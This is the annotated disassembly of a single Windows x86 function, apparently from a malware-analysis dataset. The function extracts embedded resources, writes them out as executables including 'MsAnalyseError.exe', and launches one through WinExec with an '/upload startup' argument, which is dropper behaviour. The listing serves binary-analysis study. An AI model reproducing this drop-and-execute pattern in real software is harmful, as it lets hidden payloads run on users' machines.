Function at 0x40a620
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46e20b
mov eax, dword fs:[0]
push eax
sub esp, 0x8ac
mov eax, dword [0x487b30]
xor eax, ebp
mov dword [ebp - 0x18], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x890], ecx
xor eax, eax
mov word [ebp - 0x224], ax
push 0x206
push 0
lea ecx, [ebp - 0x222]
push ecx
call fcn.00459470
add esp, 0xc
push 0
call fcn.00433820
add esp, 4
cdq
mov ecx, 5
idiv ecx
mov dword [ebp - 0x430], eax
push 0x24
push 0x104
lea edx, [ebp - 0x42c]
push edx
mov eax, dword [ebp - 0x430]
push eax
call fcn.004579d8
add esp, 0x10
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [ebp - 0x224]
push edx
lea ecx, [ebp - 0x438]
call fcn.004053d0
mov dword [ebp - 4], 0
push 0x5c
lea ecx, [ebp - 0x438]
call fcn.0040dbd0
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x434]
add eax, 1
push eax
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x438]
call fcn.00405580
mov byte [ebp - 4], 1
lea edx, [ebp - 0x438]
push edx
lea ecx, [ebp - 0x14]
call fcn.004058c0
mov byte [ebp - 4], 2
push str..exe
lea ecx, [ebp - 0x10]
call fcn.0040dc20
push str.10.0.1
lea ecx, [ebp - 0x14]
call fcn.00405450
push 0x47a640
lea ecx, [ebp - 0x14]
call fcn.00405450
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x14]
call fcn.0040dbb0
push 0x47a648
lea ecx, [ebp - 0x14]
call fcn.00405450
lea ecx, [ebp - 0x42c]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00405450
push 0x47a64c
lea ecx, [ebp - 0x14]
call fcn.00405450
push 0
push 0x82
push 2
push 0
push 2
push 0x40000000
lea ecx, [ebp - 0x14]
call fcn.00419920
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0xffffffff
je 0x40abc0
mov dword [ebp - 0x440], 0
mov edx, dword [ebp + 8]
mov dword [ebp - 0x894], edx
mov eax, dword [ebp - 0x894]
add eax, 1
mov dword [ebp - 0x898], eax
mov ecx, dword [ebp - 0x894]
mov dl, byte [ecx]
mov byte [ebp - 0x899], dl
add dword [ebp - 0x894], 1
cmp byte [ebp - 0x899], 0
jne 0x40a7c7
mov eax, dword [ebp - 0x894]
sub eax, dword [ebp - 0x898]
mov dword [ebp - 0x8a0], eax
push 0
lea ecx, [ebp - 0x440]
push ecx
mov edx, dword [ebp - 0x8a0]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x43c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x43c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x47a658
push 0x84
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0
je 0x40a938
mov eax, dword [ebp - 0x444]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0
je 0x40a938
mov ecx, dword [ebp - 0x448]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0
je 0x40a938
mov edx, dword [ebp - 0x444]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 0
jle 0x40a938
push 0x47a668
lea eax, [ebp - 0x438]
push eax
lea ecx, [ebp - 0x454]
push ecx
call fcn.0040dd50
add esp, 0xc
push 0
push 0x82
push 2
push 0
push 2
push 0x40000000
lea ecx, [ebp - 0x454]
call fcn.00419920
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0xffffffff
je 0x40a92d
push 0
lea edx, [ebp - 0x45c]
push edx
mov eax, dword [ebp - 0x450]
push eax
mov ecx, dword [ebp - 0x44c]
push ecx
mov edx, dword [ebp - 0x458]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x458]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x454]
call fcn.00443990
push str.Analyse
push 0x83
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0
je 0x40abc0
mov ecx, dword [ebp - 0x460]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0
je 0x40abc0
mov edx, dword [ebp - 0x464]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0
je 0x40abc0
mov eax, dword [ebp - 0x460]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0
jle 0x40abc0
push str.MsAnalyseError.exe
lea ecx, [ebp - 0x438]
push ecx
lea edx, [ebp - 0x470]
push edx
call fcn.0040dd50
add esp, 0xc
push 0
push 0x82
push 2
push 0
push 2
push 0x40000000
lea ecx, [ebp - 0x470]
call fcn.00419920
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 0xffffffff
je 0x40abb5
push 0
lea eax, [ebp - 0x884]
push eax
mov ecx, dword [ebp - 0x46c]
push ecx
mov edx, dword [ebp - 0x468]
push edx
mov eax, dword [ebp - 0x474]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x474]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00410430
mov dword [ebp - 0x888], eax
lea ecx, [ebp - 0x14]
call fcn.00419920
mov dword [ebp - 0x880], eax
cmp dword [ebp - 0x880], 0
jne 0x40aa72
mov dword [ebp - 0x8a4], 0
jmp 0x40aae8
mov edx, dword [ebp - 0x880]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0x3fffffff
jle 0x40aaa0
mov dword [ebp - 0x8a8], 0
jmp 0x40aadc
mov eax, dword [ebp - 0x478]
shl eax, 1
call fcn.0045bff0
mov dword [ebp - 0x8ac], esp
mov eax, dword [ebp - 0x888]
push eax
mov ecx, dword [ebp - 0x478]
shl ecx, 1
push ecx
mov edx, dword [ebp - 0x880]
push edx
mov eax, dword [ebp - 0x8ac]
push eax
call fcn.0040fa30
mov dword [ebp - 0x8a8], eax
mov ecx, dword [ebp - 0x8a8]
mov dword [ebp - 0x8a4], ecx
lea ecx, [ebp - 0x470]
call fcn.00419920
mov dword [ebp - 0x880], eax
cmp dword [ebp - 0x880], 0
jne 0x40ab0e
mov dword [ebp - 0x8b0], 0
jmp 0x40ab84
mov edx, dword [ebp - 0x880]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0x3fffffff
jle 0x40ab3c
mov dword [ebp - 0x8b4], 0
jmp 0x40ab78
mov eax, dword [ebp - 0x478]
shl eax, 1
call fcn.0045bff0
mov dword [ebp - 0x8b8], esp
mov eax, dword [ebp - 0x888]
push eax
mov ecx, dword [ebp - 0x478]
shl ecx, 1
push ecx
mov edx, dword [ebp - 0x880]
push edx
mov eax, dword [ebp - 0x8b8]
push eax
call fcn.0040fa30
mov dword [ebp - 0x8b4], eax
mov ecx, dword [ebp - 0x8b4]
mov dword [ebp - 0x8b0], ecx
mov edx, dword [ebp - 0x8a4]
push edx
mov eax, dword [ebp - 0x8b0]
push eax
push str._s__upload_startup____s_
lea ecx, [ebp - 0x87c]
push ecx
call fcn.0040edf0
add esp, 0x10
push 0
lea edx, [ebp - 0x87c]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [ebp - 0x470]
call fcn.00443990
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.00443990
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.00443990
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x438]
call fcn.00443990
lea esp, [ebp - 0x8bc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.004567ae
mov esp, ebp
pop ebp
ret 4